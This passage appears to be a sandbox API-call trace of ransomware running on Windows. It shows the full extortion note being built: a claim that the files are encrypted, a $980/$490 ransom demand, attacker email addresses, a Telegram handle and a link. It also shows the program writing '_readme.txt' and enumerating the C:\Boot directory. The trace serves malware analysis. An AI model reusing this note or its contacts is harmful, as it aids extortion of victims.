[0112.526] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.526] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.526] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.526] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.527] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.527] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.527] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.527] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.527] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.527] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.527] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.528] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.528] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.529] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.529] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.530] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.530] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.531] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.532] RtlAllocateHeap 